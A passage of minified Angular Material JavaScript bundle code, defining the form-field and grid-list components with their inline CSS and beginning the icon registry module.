B;s.iGM(B=s.CRH())&&(b._connectionContainerRef=B.first),s.iGM(B=s.CRH())&&(b._inputContainerRef=B.first),s.iGM(B=s.CRH())&&(b._label=B.first)}},hostAttrs:[1,"mat-form-field"],hostVars:40,hostBindings:function(m,b){2&m&&s.ekj("mat-form-field-appearance-standard","standard"==b.appearance)("mat-form-field-appearance-fill","fill"==b.appearance)("mat-form-field-appearance-outline","outline"==b.appearance)("mat-form-field-appearance-legacy","legacy"==b.appearance)("mat-form-field-invalid",b._control.errorState)("mat-form-field-can-float",b._canLabelFloat())("mat-form-field-should-float",b._shouldLabelFloat())("mat-form-field-has-label",b._hasFloatingLabel())("mat-form-field-hide-placeholder",b._hideControlPlaceholder())("mat-form-field-disabled",b._control.disabled)("mat-form-field-autofilled",b._control.autofilled)("mat-focused",b._control.focused)("ng-untouched",b._shouldForward("untouched"))("ng-touched",b._shouldForward("touched"))("ng-pristine",b._shouldForward("pristine"))("ng-dirty",b._shouldForward("dirty"))("ng-valid",b._shouldForward("valid"))("ng-invalid",b._shouldForward("invalid"))("ng-pending",b._shouldForward("pending"))("_mat-animation-noopable",!b._animationsEnabled)},inputs:{color:"color",appearance:"appearance",hideRequiredMarker:"hideRequiredMarker",hintLabel:"hintLabel",floatLabel:"floatLabel"},exportAs:["matFormField"],features:[s._Bn([{provide:Dt,useExisting:te}]),s.qOj],ngContentSelectors:Oe,decls:15,vars:8,consts:[[1,"mat-form-field-wrapper"],[1,"mat-form-field-flex",3,"click"],["connectionContainer",""],[4,"ngIf"],["class","mat-form-field-prefix",3,"cdkObserveContentDisabled","cdkObserveContent",4,"ngIf"],[1,"mat-form-field-infix"],["inputContainer",""],[1,"mat-form-field-label-wrapper"],["class","mat-form-field-label",3,"cdkObserveContentDisabled","id","mat-empty","mat-form-field-empty","mat-accent","mat-warn","ngSwitch","cdkObserveContent",4,"ngIf"],["class","mat-form-field-suffix",4,"ngIf"],["class","mat-form-field-underline",4,"ngIf"],[1,"mat-form-field-subscript-wrapper",3,"ngSwitch"],[4,"ngSwitchCase"],["class","mat-form-field-hint-wrapper",4,"ngSwitchCase"],[1,"mat-form-field-outline"],[1,"mat-form-field-outline-start"],[1,"mat-form-field-outline-gap"],[1,"mat-form-field-outline-end"],[1,"mat-form-field-outline","mat-form-field-outline-thick"],[1,"mat-form-field-prefix",3,"cdkObserveContentDisabled","cdkObserveContent"],[1,"mat-form-field-label",3,"cdkObserveContentDisabled","id","ngSwitch","cdkObserveContent"],["label",""],["class","mat-placeholder-required mat-form-field-required-marker","aria-hidden","true",4,"ngIf"],["aria-hidden","true",1,"mat-placeholder-required","mat-form-field-required-marker"],[1,"mat-form-field-suffix"],[1,"mat-form-field-underline"],[1,"mat-form-field-ripple"],[1,"mat-form-field-hint-wrapper"],["class","mat-hint",3,"id",4,"ngIf"],[1,"mat-form-field-hint-spacer"],[1,"mat-hint",3,"id"]],template:function(m,b){1&m&&(s.F$t(le),s.TgZ(0,"div",0)(1,"div",1,2),s.NdJ("click",function(ie){return b._control.onContainerClick&&b._control.onContainerClick(ie)}),s.YNc(3,oe,9,0,"ng-container",3),s.YNc(4,Ce,2,1,"div",4),s.TgZ(5,"div",5,6),s.Hsn(7),s.TgZ(8,"span",7),s.YNc(9,ee,5,16,"label",8),s.qZA()(),s.YNc(10,q,2,0,"div",9),s.qZA(),s.YNc(11,we,2,4,"div",10),s.TgZ(12,"div",11),s.YNc(13,ce,2,1,"div",12),s.YNc(14,Ze,5,2,"div",13),s.qZA()()),2&m&&(s.xp6(3),s.Q6J("ngIf","outline"==b.appearance),s.xp6(1),s.Q6J("ngIf",b._prefixChildren.length),s.xp6(5),s.Q6J("ngIf",b._hasFloatingLabel()),s.xp6(1),s.Q6J("ngIf",b._suffixChildren.length),s.xp6(1),s.Q6J("ngIf","outline"!=b.appearance),s.xp6(1),s.Q6J("ngSwitch",b._getDisplayedMessages()),s.xp6(1),s.Q6J("ngSwitchCase","error"),s.xp6(1),s.Q6J("ngSwitchCase","hint"))},dependencies:[a.O5,a.RF,a.n9,n.wD],styles:[".mat-form-field{display:inline-block;position:relative;text-align:left}[dir=rtl] .mat-form-field{text-align:right}.mat-form-field-wrapper{position:relative}.mat-form-field-flex{display:inline-flex;align-items:baseline;box-sizing:border-box;width:100%}.mat-form-field-prefix,.mat-form-field-suffix{white-space:nowrap;flex:none;position:relative}.mat-form-field-infix{display:block;position:relative;flex:auto;min-width:0;width:180px}.cdk-high-contrast-active .mat-form-field-infix{border-image:linear-gradient(transparent, transparent)}.mat-form-field-label-wrapper{position:absolute;left:0;box-sizing:content-box;width:100%;height:100%;overflow:hidden;pointer-events:none}[dir=rtl] .mat-form-field-label-wrapper{left:auto;right:0}.mat-form-field-label{position:absolute;left:0;font:inherit;pointer-events:none;width:100%;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;transform-origin:0 0;transition:transform 400ms cubic-bezier(0.25, 0.8, 0.25, 1),color 400ms cubic-bezier(0.25, 0.8, 0.25, 1),width 400ms cubic-bezier(0.25, 0.8, 0.25, 1);display:none}[dir=rtl] .mat-form-field-label{transform-origin:100% 0;left:auto;right:0}.cdk-high-contrast-active .mat-form-field-disabled .mat-form-field-label{color:GrayText}.mat-form-field-empty.mat-form-field-label,.mat-form-field-can-float.mat-form-field-should-float .mat-form-field-label{display:block}.mat-form-field-autofill-control:-webkit-autofill+.mat-form-field-label-wrapper .mat-form-field-label{display:none}.mat-form-field-can-float .mat-form-field-autofill-control:-webkit-autofill+.mat-form-field-label-wrapper .mat-form-field-label{display:block;transition:none}.mat-input-server:focus+.mat-form-field-label-wrapper .mat-form-field-label,.mat-input-server[placeholder]:not(:placeholder-shown)+.mat-form-field-label-wrapper .mat-form-field-label{display:none}.mat-form-field-can-float .mat-input-server:focus+.mat-form-field-label-wrapper .mat-form-field-label,.mat-form-field-can-float .mat-input-server[placeholder]:not(:placeholder-shown)+.mat-form-field-label-wrapper .mat-form-field-label{display:block}.mat-form-field-label:not(.mat-form-field-empty){transition:none}.mat-form-field-underline{position:absolute;width:100%;pointer-events:none;transform:scale3d(1, 1.0001, 1)}.mat-form-field-ripple{position:absolute;left:0;width:100%;transform-origin:50%;transform:scaleX(0.5);opacity:0;transition:background-color 300ms cubic-bezier(0.55, 0, 0.55, 0.2)}.mat-form-field.mat-focused .mat-form-field-ripple,.mat-form-field.mat-form-field-invalid .mat-form-field-ripple{opacity:1;transform:none;transition:transform 300ms cubic-bezier(0.25, 0.8, 0.25, 1),opacity 100ms cubic-bezier(0.25, 0.8, 0.25, 1),background-color 300ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-form-field-subscript-wrapper{position:absolute;box-sizing:border-box;width:100%;overflow:hidden}.mat-form-field-subscript-wrapper .mat-icon,.mat-form-field-label-wrapper .mat-icon{width:1em;height:1em;font-size:inherit;vertical-align:baseline}.mat-form-field-hint-wrapper{display:flex}.mat-form-field-hint-spacer{flex:1 0 1em}.mat-error{display:block}.mat-form-field-control-wrapper{position:relative}.mat-form-field-hint-end{order:1}.mat-form-field._mat-animation-noopable .mat-form-field-label,.mat-form-field._mat-animation-noopable .mat-form-field-ripple{transition:none}",\'.mat-form-field-appearance-fill .mat-form-field-flex{border-radius:4px 4px 0 0;padding:.75em .75em 0 .75em}.cdk-high-contrast-active .mat-form-field-appearance-fill .mat-form-field-flex{outline:solid 1px}.cdk-high-contrast-active .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-flex{outline-color:GrayText}.cdk-high-contrast-active .mat-form-field-appearance-fill.mat-focused .mat-form-field-flex{outline:dashed 3px}.mat-form-field-appearance-fill .mat-form-field-underline::before{content:"";display:block;position:absolute;bottom:0;height:1px;width:100%}.mat-form-field-appearance-fill .mat-form-field-ripple{bottom:0;height:2px}.cdk-high-contrast-active .mat-form-field-appearance-fill .mat-form-field-ripple{height:0}.mat-form-field-appearance-fill:not(.mat-form-field-disabled) .mat-form-field-flex:hover~.mat-form-field-underline .mat-form-field-ripple{opacity:1;transform:none;transition:opacity 600ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-form-field-appearance-fill._mat-animation-noopable:not(.mat-form-field-disabled) .mat-form-field-flex:hover~.mat-form-field-underline .mat-form-field-ripple{transition:none}.mat-form-field-appearance-fill .mat-form-field-subscript-wrapper{padding:0 1em}\',\'.mat-input-element{font:inherit;background:rgba(0,0,0,0);color:currentColor;border:none;outline:none;padding:0;margin:0;width:100%;max-width:100%;vertical-align:bottom;text-align:inherit;box-sizing:content-box}.mat-input-element:-moz-ui-invalid{box-shadow:none}.mat-input-element,.mat-input-element::-webkit-search-cancel-button,.mat-input-element::-webkit-search-decoration,.mat-input-element::-webkit-search-results-button,.mat-input-element::-webkit-search-results-decoration{-webkit-appearance:none}.mat-input-element::-webkit-contacts-auto-fill-button,.mat-input-element::-webkit-caps-lock-indicator,.mat-input-element:not([type=password])::-webkit-credentials-auto-fill-button{visibility:hidden}.mat-input-element[type=date],.mat-input-element[type=datetime],.mat-input-element[type=datetime-local],.mat-input-element[type=month],.mat-input-element[type=week],.mat-input-element[type=time]{line-height:1}.mat-input-element[type=date]::after,.mat-input-element[type=datetime]::after,.mat-input-element[type=datetime-local]::after,.mat-input-element[type=month]::after,.mat-input-element[type=week]::after,.mat-input-element[type=time]::after{content:" ";white-space:pre;width:1px}.mat-input-element::-webkit-inner-spin-button,.mat-input-element::-webkit-calendar-picker-indicator,.mat-input-element::-webkit-clear-button{font-size:.75em}.mat-input-element::placeholder{-webkit-user-select:none;user-select:none;transition:color 400ms 133.3333333333ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-input-element::-moz-placeholder{-webkit-user-select:none;user-select:none;transition:color 400ms 133.3333333333ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-input-element::-webkit-input-placeholder{-webkit-user-select:none;user-select:none;transition:color 400ms 133.3333333333ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-input-element:-ms-input-placeholder{-webkit-user-select:none;user-select:none;transition:color 400ms 133.3333333333ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-form-field-hide-placeholder .mat-input-element::placeholder{color:rgba(0,0,0,0) !important;-webkit-text-fill-color:rgba(0,0,0,0);transition:none}.cdk-high-contrast-active .mat-form-field-hide-placeholder .mat-input-element::placeholder{opacity:0}.mat-form-field-hide-placeholder .mat-input-element::-moz-placeholder{color:rgba(0,0,0,0) !important;-webkit-text-fill-color:rgba(0,0,0,0);transition:none}.cdk-high-contrast-active .mat-form-field-hide-placeholder .mat-input-element::-moz-placeholder{opacity:0}.mat-form-field-hide-placeholder .mat-input-element::-webkit-input-placeholder{color:rgba(0,0,0,0) !important;-webkit-text-fill-color:rgba(0,0,0,0);transition:none}.cdk-high-contrast-active .mat-form-field-hide-placeholder .mat-input-element::-webkit-input-placeholder{opacity:0}.mat-form-field-hide-placeholder .mat-input-element:-ms-input-placeholder{color:rgba(0,0,0,0) !important;-webkit-text-fill-color:rgba(0,0,0,0);transition:none}.cdk-high-contrast-active .mat-form-field-hide-placeholder .mat-input-element:-ms-input-placeholder{opacity:0}._mat-animation-noopable .mat-input-element::placeholder{transition:none}._mat-animation-noopable .mat-input-element::-moz-placeholder{transition:none}._mat-animation-noopable .mat-input-element::-webkit-input-placeholder{transition:none}._mat-animation-noopable .mat-input-element:-ms-input-placeholder{transition:none}textarea.mat-input-element{resize:vertical;overflow:auto}textarea.mat-input-element.cdk-textarea-autosize{resize:none}textarea.mat-input-element{padding:2px 0;margin:-2px 0}select.mat-input-element{-moz-appearance:none;-webkit-appearance:none;position:relative;background-color:rgba(0,0,0,0);display:inline-flex;box-sizing:border-box;padding-top:1em;top:-1em;margin-bottom:-1em}select.mat-input-element::-moz-focus-inner{border:0}select.mat-input-element:not(:disabled){cursor:pointer}.mat-form-field-type-mat-native-select .mat-form-field-infix::after{content:"";width:0;height:0;border-left:5px solid rgba(0,0,0,0);border-right:5px solid rgba(0,0,0,0);border-top:5px solid;position:absolute;top:50%;right:0;margin-top:-2.5px;pointer-events:none}[dir=rtl] .mat-form-field-type-mat-native-select .mat-form-field-infix::after{right:auto;left:0}.mat-form-field-type-mat-native-select .mat-input-element{padding-right:15px}[dir=rtl] .mat-form-field-type-mat-native-select .mat-input-element{padding-right:0;padding-left:15px}.mat-form-field-type-mat-native-select .mat-form-field-label-wrapper{max-width:calc(100% - 10px)}.mat-form-field-type-mat-native-select.mat-form-field-appearance-outline .mat-form-field-infix::after{margin-top:-5px}.mat-form-field-type-mat-native-select.mat-form-field-appearance-fill .mat-form-field-infix::after{margin-top:-10px}\',".mat-form-field-appearance-legacy .mat-form-field-label{transform:perspective(100px)}.mat-form-field-appearance-legacy .mat-form-field-prefix .mat-icon,.mat-form-field-appearance-legacy .mat-form-field-suffix .mat-icon{width:1em}.mat-form-field-appearance-legacy .mat-form-field-prefix .mat-icon-button,.mat-form-field-appearance-legacy .mat-form-field-suffix .mat-icon-button{font:inherit;vertical-align:baseline}.mat-form-field-appearance-legacy .mat-form-field-prefix .mat-icon-button .mat-icon,.mat-form-field-appearance-legacy .mat-form-field-suffix .mat-icon-button .mat-icon{font-size:inherit}.mat-form-field-appearance-legacy .mat-form-field-underline{height:1px}.cdk-high-contrast-active .mat-form-field-appearance-legacy .mat-form-field-underline{height:0;border-top:solid 1px}.mat-form-field-appearance-legacy .mat-form-field-ripple{top:0;height:2px;overflow:hidden}.cdk-high-contrast-active .mat-form-field-appearance-legacy .mat-form-field-ripple{height:0;border-top:solid 2px}.mat-form-field-appearance-legacy.mat-form-field-disabled .mat-form-field-underline{background-position:0;background-color:rgba(0,0,0,0)}.cdk-high-contrast-active .mat-form-field-appearance-legacy.mat-form-field-disabled .mat-form-field-underline{border-top-style:dotted;border-top-width:2px;border-top-color:GrayText}.mat-form-field-appearance-legacy.mat-form-field-invalid:not(.mat-focused) .mat-form-field-ripple{height:1px}",".mat-form-field-appearance-outline .mat-form-field-wrapper{margin:.25em 0}.mat-form-field-appearance-outline .mat-form-field-flex{padding:0 .75em 0 .75em;margin-top:-0.25em;position:relative}.mat-form-field-appearance-outline .mat-form-field-prefix,.mat-form-field-appearance-outline .mat-form-field-suffix{top:.25em}.mat-form-field-appearance-outline .mat-form-field-outline{display:flex;position:absolute;top:.25em;left:0;right:0;bottom:0;pointer-events:none}.mat-form-field-appearance-outline .mat-form-field-outline-start,.mat-form-field-appearance-outline .mat-form-field-outline-end{border:1px solid currentColor;min-width:5px}.mat-form-field-appearance-outline .mat-form-field-outline-start{border-radius:5px 0 0 5px;border-right-style:none}[dir=rtl] .mat-form-field-appearance-outline .mat-form-field-outline-start{border-right-style:solid;border-left-style:none;border-radius:0 5px 5px 0}.mat-form-field-appearance-outline .mat-form-field-outline-end{border-radius:0 5px 5px 0;border-left-style:none;flex-grow:1}[dir=rtl] .mat-form-field-appearance-outline .mat-form-field-outline-end{border-left-style:solid;border-right-style:none;border-radius:5px 0 0 5px}.mat-form-field-appearance-outline .mat-form-field-outline-gap{border-radius:.000001px;border:1px solid currentColor;border-left-style:none;border-right-style:none}.mat-form-field-appearance-outline.mat-form-field-can-float.mat-form-field-should-float .mat-form-field-outline-gap{border-top-color:rgba(0,0,0,0)}.mat-form-field-appearance-outline .mat-form-field-outline-thick{opacity:0}.mat-form-field-appearance-outline .mat-form-field-outline-thick .mat-form-field-outline-start,.mat-form-field-appearance-outline .mat-form-field-outline-thick .mat-form-field-outline-end,.mat-form-field-appearance-outline .mat-form-field-outline-thick .mat-form-field-outline-gap{border-width:2px}.mat-form-field-appearance-outline.mat-focused .mat-form-field-outline,.mat-form-field-appearance-outline.mat-form-field-invalid .mat-form-field-outline{opacity:0;transition:opacity 100ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-form-field-appearance-outline.mat-focused .mat-form-field-outline-thick,.mat-form-field-appearance-outline.mat-form-field-invalid .mat-form-field-outline-thick{opacity:1}.cdk-high-contrast-active .mat-form-field-appearance-outline.mat-focused .mat-form-field-outline-thick{border:3px dashed}.mat-form-field-appearance-outline:not(.mat-form-field-disabled) .mat-form-field-flex:hover .mat-form-field-outline{opacity:0;transition:opacity 600ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-form-field-appearance-outline:not(.mat-form-field-disabled) .mat-form-field-flex:hover .mat-form-field-outline-thick{opacity:1}.mat-form-field-appearance-outline .mat-form-field-subscript-wrapper{padding:0 1em}.cdk-high-contrast-active .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-outline{color:GrayText}.mat-form-field-appearance-outline._mat-animation-noopable:not(.mat-form-field-disabled) .mat-form-field-flex:hover~.mat-form-field-outline,.mat-form-field-appearance-outline._mat-animation-noopable .mat-form-field-outline,.mat-form-field-appearance-outline._mat-animation-noopable .mat-form-field-outline-start,.mat-form-field-appearance-outline._mat-animation-noopable .mat-form-field-outline-end,.mat-form-field-appearance-outline._mat-animation-noopable .mat-form-field-outline-gap{transition:none}",".mat-form-field-appearance-standard .mat-form-field-flex{padding-top:.75em}.mat-form-field-appearance-standard .mat-form-field-underline{height:1px}.cdk-high-contrast-active .mat-form-field-appearance-standard .mat-form-field-underline{height:0;border-top:solid 1px}.mat-form-field-appearance-standard .mat-form-field-ripple{bottom:0;height:2px}.cdk-high-contrast-active .mat-form-field-appearance-standard .mat-form-field-ripple{height:0;border-top:solid 2px}.mat-form-field-appearance-standard.mat-form-field-disabled .mat-form-field-underline{background-position:0;background-color:rgba(0,0,0,0)}.cdk-high-contrast-active .mat-form-field-appearance-standard.mat-form-field-disabled .mat-form-field-underline{border-top-style:dotted;border-top-width:2px}.mat-form-field-appearance-standard:not(.mat-form-field-disabled) .mat-form-field-flex:hover~.mat-form-field-underline .mat-form-field-ripple{opacity:1;transform:none;transition:opacity 600ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-form-field-appearance-standard._mat-animation-noopable:not(.mat-form-field-disabled) .mat-form-field-flex:hover~.mat-form-field-underline .mat-form-field-ripple{transition:none}"],encapsulation:2,data:{animation:[Ke.transitionMessages]},changeDetection:0}),te})(),Ie=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275mod=s.oAB({type:te}),te.\\u0275inj=s.cJS({imports:[a.ez,u.BQ,n.Q8,u.BQ]}),te})()},782:(At,ae,d)=>{"use strict";d.d(ae,{DX:()=>z,Il:()=>we,N6:()=>ce});var n=d(4650),a=d(3238),s=d(1281),u=d(445);const c=["*"];class S{constructor(){this.columnIndex=0,this.rowIndex=0}get rowCount(){return this.rowIndex+1}get rowspan(){const le=Math.max(...this.tracker);return le>1?this.rowCount+le-1:this.rowCount}update(le,Oe){this.columnIndex=0,this.rowIndex=0,this.tracker=new Array(le),this.tracker.fill(0,0,this.tracker.length),this.positions=Oe.map(Qe=>this._trackTile(Qe))}_trackTile(le){const Oe=this._findMatchingGap(le.colspan);return this._markTilePosition(Oe,le),this.columnIndex=Oe+le.colspan,new g(this.rowIndex,Oe)}_findMatchingGap(le){let Oe=-1,Qe=-1;do{this.columnIndex+le>this.tracker.length?(this._nextRow(),Oe=this.tracker.indexOf(0,this.columnIndex),Qe=this._findGapEndIndex(Oe)):(Oe=this.tracker.indexOf(0,this.columnIndex),-1!=Oe?(Qe=this._findGapEndIndex(Oe),this.columnIndex=Oe+1):(this._nextRow(),Oe=this.tracker.indexOf(0,this.columnIndex),Qe=this._findGapEndIndex(Oe)))}while(Qe-Oe<le||0==Qe);return Math.max(Oe,0)}_nextRow(){this.columnIndex=0,this.rowIndex++;for(let le=0;le<this.tracker.length;le++)this.tracker[le]=Math.max(0,this.tracker[le]-1)}_findGapEndIndex(le){for(let Oe=le+1;Oe<this.tracker.length;Oe++)if(0!=this.tracker[Oe])return Oe;return this.tracker.length}_markTilePosition(le,Oe){for(let Qe=0;Qe<Oe.colspan;Qe++)this.tracker[le+Qe]=Oe.rowspan}}class g{constructor(le,Oe){this.row=le,this.col=Oe}}const C=new n.OlP("MAT_GRID_LIST");let z=(()=>{class Ze{constructor(Oe,Qe){this._element=Oe,this._gridList=Qe,this._rowspan=1,this._colspan=1}get rowspan(){return this._rowspan}set rowspan(Oe){this._rowspan=Math.round((0,s.su)(Oe))}get colspan(){return this._colspan}set colspan(Oe){this._colspan=Math.round((0,s.su)(Oe))}_setStyle(Oe,Qe){this._element.nativeElement.style[Oe]=Qe}}return Ze.\\u0275fac=function(Oe){return new(Oe||Ze)(n.Y36(n.SBq),n.Y36(C,8))},Ze.\\u0275cmp=n.Xpm({type:Ze,selectors:[["mat-grid-tile"]],hostAttrs:[1,"mat-grid-tile"],hostVars:2,hostBindings:function(Oe,Qe){2&Oe&&n.uIk("rowspan",Qe.rowspan)("colspan",Qe.colspan)},inputs:{rowspan:"rowspan",colspan:"colspan"},exportAs:["matGridTile"],ngContentSelectors:c,decls:2,vars:0,consts:[[1,"mat-grid-tile-content"]],template:function(Oe,Qe){1&Oe&&(n.F$t(),n.TgZ(0,"div",0),n.Hsn(1),n.qZA())},styles:[".mat-grid-list{display:block;position:relative}.mat-grid-tile{display:block;position:absolute;overflow:hidden}.mat-grid-tile .mat-grid-tile-header,.mat-grid-tile .mat-grid-tile-footer{display:flex;align-items:center;height:48px;color:#fff;background:rgba(0,0,0,.38);overflow:hidden;padding:0 16px;position:absolute;left:0;right:0}.mat-grid-tile .mat-grid-tile-header>*,.mat-grid-tile .mat-grid-tile-footer>*{margin:0;padding:0;font-weight:normal;font-size:inherit}.mat-grid-tile .mat-grid-tile-header.mat-2-line,.mat-grid-tile .mat-grid-tile-footer.mat-2-line{height:68px}.mat-grid-tile .mat-grid-list-text{display:flex;flex-direction:column;flex:auto;box-sizing:border-box;overflow:hidden}.mat-grid-tile .mat-grid-list-text>*{margin:0;padding:0;font-weight:normal;font-size:inherit}.mat-grid-tile .mat-grid-list-text:empty{display:none}.mat-grid-tile .mat-grid-tile-header{top:0}.mat-grid-tile .mat-grid-tile-footer{bottom:0}.mat-grid-tile .mat-grid-avatar{padding-right:16px}[dir=rtl] .mat-grid-tile .mat-grid-avatar{padding-right:0;padding-left:16px}.mat-grid-tile .mat-grid-avatar:empty{display:none}.mat-grid-tile-content{top:0;left:0;right:0;bottom:0;position:absolute;display:flex;align-items:center;justify-content:center;height:100%;padding:0;margin:0}"],encapsulation:2,changeDetection:0}),Ze})();const Q=/^-?\\d+((\\.\\d+)?[A-Za-z%$]?)+$/;class oe{constructor(){this._rows=0,this._rowspan=0}init(le,Oe,Qe,Ye){this._gutterSize=ee(le),this._rows=Oe.rowCount,this._rowspan=Oe.rowspan,this._cols=Qe,this._direction=Ye}getBaseTileSize(le,Oe){return`(${le}% - (${this._gutterSize} * ${Oe}))`}getTilePosition(le,Oe){return 0===Oe?"0":se(`(${le} + ${this._gutterSize}) * ${Oe}`)}getTileSize(le,Oe){return`(${le} * ${Oe}) + (${Oe-1} * ${this._gutterSize})`}setStyle(le,Oe,Qe){let Ye=100/this._cols,qe=(this._cols-1)/this._cols;this.setColStyles(le,Qe,Ye,qe),this.setRowStyles(le,Oe,Ye,qe)}setColStyles(le,Oe,Qe,Ye){let qe=this.getBaseTileSize(Qe,Ye);le._setStyle("rtl"===this._direction?"right":"left",this.getTilePosition(qe,Oe)),le._setStyle("width",se(this.getTileSize(qe,le.colspan)))}getGutterSpan(){return`${this._gutterSize} * (${this._rowspan} - 1)`}getTileSpan(le){return`${this._rowspan} * ${this.getTileSize(le,1)}`}getComputedHeight(){return null}}class Ce extends oe{constructor(le){super(),this.fixedRowHeight=le}init(le,Oe,Qe,Ye){super.init(le,Oe,Qe,Ye),this.fixedRowHeight=ee(this.fixedRowHeight),Q.test(this.fixedRowHeight)}setRowStyles(le,Oe){le._setStyle("top",this.getTilePosition(this.fixedRowHeight,Oe)),le._setStyle("height",se(this.getTileSize(this.fixedRowHeight,le.rowspan)))}getComputedHeight(){return["height",se(`${this.getTileSpan(this.fixedRowHeight)} + ${this.getGutterSpan()}`)]}reset(le){le._setListStyle(["height",null]),le._tiles&&le._tiles.forEach(Oe=>{Oe._setStyle("top",null),Oe._setStyle("height",null)})}}class k extends oe{constructor(le){super(),this._parseRatio(le)}setRowStyles(le,Oe,Qe,Ye){this.baseTileHeight=this.getBaseTileSize(Qe/this.rowHeightRatio,Ye),le._setStyle("marginTop",this.getTilePosition(this.baseTileHeight,Oe)),le._setStyle("paddingTop",se(this.getTileSize(this.baseTileHeight,le.rowspan)))}getComputedHeight(){return["paddingBottom",se(`${this.getTileSpan(this.baseTileHeight)} + ${this.getGutterSpan()}`)]}reset(le){le._setListStyle(["paddingBottom",null]),le._tiles.forEach(Oe=>{Oe._setStyle("marginTop",null),Oe._setStyle("paddingTop",null)})}_parseRatio(le){const Oe=le.split(":");this.rowHeightRatio=parseFloat(Oe[0])/parseFloat(Oe[1])}}class K extends oe{setRowStyles(le,Oe){let qe=this.getBaseTileSize(100/this._rowspan,(this._rows-1)/this._rows);le._setStyle("top",this.getTilePosition(qe,Oe)),le._setStyle("height",se(this.getTileSize(qe,le.rowspan)))}reset(le){le._tiles&&le._tiles.forEach(Oe=>{Oe._setStyle("top",null),Oe._setStyle("height",null)})}}function se(Ze){return`calc(${Ze})`}function ee(Ze){return Ze.match(/([A-Za-z%]+)$/)?Ze:`${Ze}px`}let we=(()=>{class Ze{constructor(Oe,Qe){this._element=Oe,this._dir=Qe,this._gutter="1px"}get cols(){return this._cols}set cols(Oe){this._cols=Math.max(1,Math.round((0,s.su)(Oe)))}get gutterSize(){return this._gutter}set gutterSize(Oe){this._gutter=`${Oe??""}`}get rowHeight(){return this._rowHeight}set rowHeight(Oe){const Qe=`${Oe??""}`;Qe!==this._rowHeight&&(this._rowHeight=Qe,this._setTileStyler(this._rowHeight))}ngOnInit(){this._checkCols(),this._checkRowHeight()}ngAfterContentChecked(){this._layoutTiles()}_checkCols(){}_checkRowHeight(){this._rowHeight||this._setTileStyler("1:1")}_setTileStyler(Oe){this._tileStyler&&this._tileStyler.reset(this),this._tileStyler="fit"===Oe?new K:Oe&&Oe.indexOf(":")>-1?new k(Oe):new Ce(Oe)}_layoutTiles(){this._tileCoordinator||(this._tileCoordinator=new S);const Oe=this._tileCoordinator,Qe=this._tiles.filter(qe=>!qe._gridList||qe._gridList===this),Ye=this._dir?this._dir.value:"ltr";this._tileCoordinator.update(this.cols,Qe),this._tileStyler.init(this.gutterSize,Oe,this.cols,Ye),Qe.forEach((qe,Ke)=>{const dt=Oe.positions[Ke];this._tileStyler.setStyle(qe,dt.row,dt.col)}),this._setListStyle(this._tileStyler.getComputedHeight())}_setListStyle(Oe){Oe&&(this._element.nativeElement.style[Oe[0]]=Oe[1])}}return Ze.\\u0275fac=function(Oe){return new(Oe||Ze)(n.Y36(n.SBq),n.Y36(u.Is,8))},Ze.\\u0275cmp=n.Xpm({type:Ze,selectors:[["mat-grid-list"]],contentQueries:function(Oe,Qe,Ye){if(1&Oe&&n.Suo(Ye,z,5),2&Oe){let qe;n.iGM(qe=n.CRH())&&(Qe._tiles=qe)}},hostAttrs:[1,"mat-grid-list"],hostVars:1,hostBindings:function(Oe,Qe){2&Oe&&n.uIk("cols",Qe.cols)},inputs:{cols:"cols",gutterSize:"gutterSize",rowHeight:"rowHeight"},exportAs:["matGridList"],features:[n._Bn([{provide:C,useExisting:Ze}])],ngContentSelectors:c,decls:2,vars:0,template:function(Oe,Qe){1&Oe&&(n.F$t(),n.TgZ(0,"div"),n.Hsn(1),n.qZA())},styles:[".mat-grid-list{display:block;position:relative}.mat-grid-tile{display:block;position:absolute;overflow:hidden}.mat-grid-tile .mat-grid-tile-header,.mat-grid-tile .mat-grid-tile-footer{display:flex;align-items:center;height:48px;color:#fff;background:rgba(0,0,0,.38);overflow:hidden;padding:0 16px;position:absolute;left:0;right:0}.mat-grid-tile .mat-grid-tile-header>*,.mat-grid-tile .mat-grid-tile-footer>*{margin:0;padding:0;font-weight:normal;font-size:inherit}.mat-grid-tile .mat-grid-tile-header.mat-2-line,.mat-grid-tile .mat-grid-tile-footer.mat-2-line{height:68px}.mat-grid-tile .mat-grid-list-text{display:flex;flex-direction:column;flex:auto;box-sizing:border-box;overflow:hidden}.mat-grid-tile .mat-grid-list-text>*{margin:0;padding:0;font-weight:normal;font-size:inherit}.mat-grid-tile .mat-grid-list-text:empty{display:none}.mat-grid-tile .mat-grid-tile-header{top:0}.mat-grid-tile .mat-grid-tile-footer{bottom:0}.mat-grid-tile .mat-grid-avatar{padding-right:16px}[dir=rtl] .mat-grid-tile .mat-grid-avatar{padding-right:0;padding-left:16px}.mat-grid-tile .mat-grid-avatar:empty{display:none}.mat-grid-tile-content{top:0;left:0;right:0;bottom:0;position:absolute;display:flex;align-items:center;justify-content:center;height:100%;padding:0;margin:0}"],encapsulation:2,changeDetection:0}),Ze})(),ce=(()=>{class Ze{}return Ze.\\u0275fac=function(Oe){return new(Oe||Ze)},Ze.\\u0275mod=n.oAB({type:Ze}),Ze.\\u0275inj=n.cJS({imports:[a.uc,a.BQ,a.uc,a.BQ]}),Ze})()},7392:(At,ae,d)=>{"use strict";d.d(ae,{Hw:()=>re,Ps:()=>ve});var n=d(4650),a=d(3238),s=d(1281),u=d(6895),c=d(1086),f=d(1737),E=d(567),_=d(2654),S=d(2868),g=d(4850),C=d(7221),z=d(537),H=d(2474),j=d(2986),U=d(529),G=d(1481);const Q=["*"];let oe;function k(We){return function Ce(){if(void 0===oe&&(oe=null,typeof window<"u")){const We=window;void 0!==We.trustedTypes&&(oe=We.trustedTypes.createPolicy("angular#components",{createHTML:xt=>xt}))}return oe}()?.createHTML(We)||We}function K(We){return Error(`Unable to find icon with the name "${We}"`)}function ee(We){return Error(`The URL provided to MatIconRegistry was not trusted as a resource URL via Angular\'s DomSanitizer. Attempted URL was 